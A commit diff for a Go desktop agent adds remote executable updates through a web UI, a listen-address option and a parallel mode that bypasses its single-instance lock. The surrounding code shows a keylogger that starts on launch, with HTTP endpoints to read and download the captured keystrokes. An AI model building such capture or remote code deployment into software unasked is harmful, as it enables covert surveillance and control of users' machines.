feat(update): add update deployment via web UI

- Deploy exe to alternate port 5033
- Current instance keeps running
- Add parallel mode and addr flag
- Add update panel to web UI
- Update OpenAPI spec and CLI

lib/agent/agent.go

@@ -28,9 +28,19 @@ type Agent struct {
 	startedAt time.Time
 }
 
-func New() (*Agent, error) {
+// Config controls agent startup. Zero values use environment defaults.
+type Config struct {
+	ListenAddr string
+	Parallel   bool
+}
+
+func New(cfg Config) (*Agent, error) {
+	addr := strings.TrimSpace(cfg.ListenAddr)
+	if addr == "" {
+		addr = config.EnvOr("AGENT_ADDR", config.DefaultAddr)
+	}
 	a := &Agent{
-		addr:      config.EnvOr("AGENT_ADDR", config.DefaultAddr),
+		addr:      addr,
 		startedAt: time.Now(),
 	}
 	if root := strings.TrimSpace(os.Getenv("AGENT_FILE_ROOT")); root != "" {
@@ -40,11 +50,13 @@ func New() (*Agent, error) {
 		}
 		a.root = resolved
 	}
-	guard, err := instance.Acquire()
-	if err != nil {
-		return nil, err
+	if !cfg.Parallel {
+		guard, err := instance.Acquire()
+		if err != nil {
+			return nil, err
+		}
+		a.guard = guard
 	}
-	a.guard = guard
 	input.EnableDPIAwareness()
 	if err := keylog.Start(); err != nil {
 		helpers.Log.Printf("keylog start: %v", err)
@@ -84,6 +96,7 @@ func (a *Agent) Serve() error {
 	mux.HandleFunc("/api/v1/input/text", a.handleText)
 	mux.HandleFunc("/api/v1/keylog", a.handleKeylog)
 	mux.HandleFunc("/api/v1/keylog/download", a.handleKeylogDownload)
+	mux.HandleFunc("/api/v1/update", a.handleUpdate)
 
 	a.server = &http.Server{
 		Addr:              a.addr,